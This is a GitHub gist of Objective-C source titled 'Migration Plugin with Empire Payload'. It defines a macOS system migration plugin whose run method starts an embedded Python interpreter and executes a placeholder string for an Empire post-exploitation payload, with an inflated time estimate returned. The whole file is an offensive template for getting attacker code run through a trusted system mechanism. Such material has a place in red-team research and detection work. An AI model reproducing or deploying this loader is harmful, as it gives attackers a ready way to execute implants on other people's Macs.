Created
May 25, 2018 16:46
-
-
Save xorrior/397dcb331da86f2b16e6601a08617e9a to your computer and use it in GitHub Desktop.
Migration Plugin with Empire Payload
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// | |
// demoClass.m | |
// testExampleBundle | |
// | |
// Created by Chris Ross on 4/17/18. | |
// Copyright © 2018 Void. All rights reserved. | |
// | |
#import <Foundation/Foundation.h> | |
#import <objc/objc.h> | |
#import <Python/Python.h> | |
#import <locale.h> | |
#import "SMConfMigratorPlugin.h" | |
#import <float.h> | |
@interface CustomTestPlugin : SMConfMigratorPlugin | |
@end | |
@implementation CustomTestPlugin | |
-(NSTimeInterval)estimateTime | |
{ | |
return 999999; | |
} | |
-(void)run | |
{ | |
NSString *pyCommand = @"EMPIRE PAYLOAD HERE"; | |
const char *command = [pyCommand cStringUsingEncoding:NSASCIIStringEncoding]; | |
setlocale(LC_ALL, "en_US.URF-8"); | |
Py_Initialize(); | |
PyRun_SimpleString(command); | |
Py_Finalize(); | |
} | |
@end |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment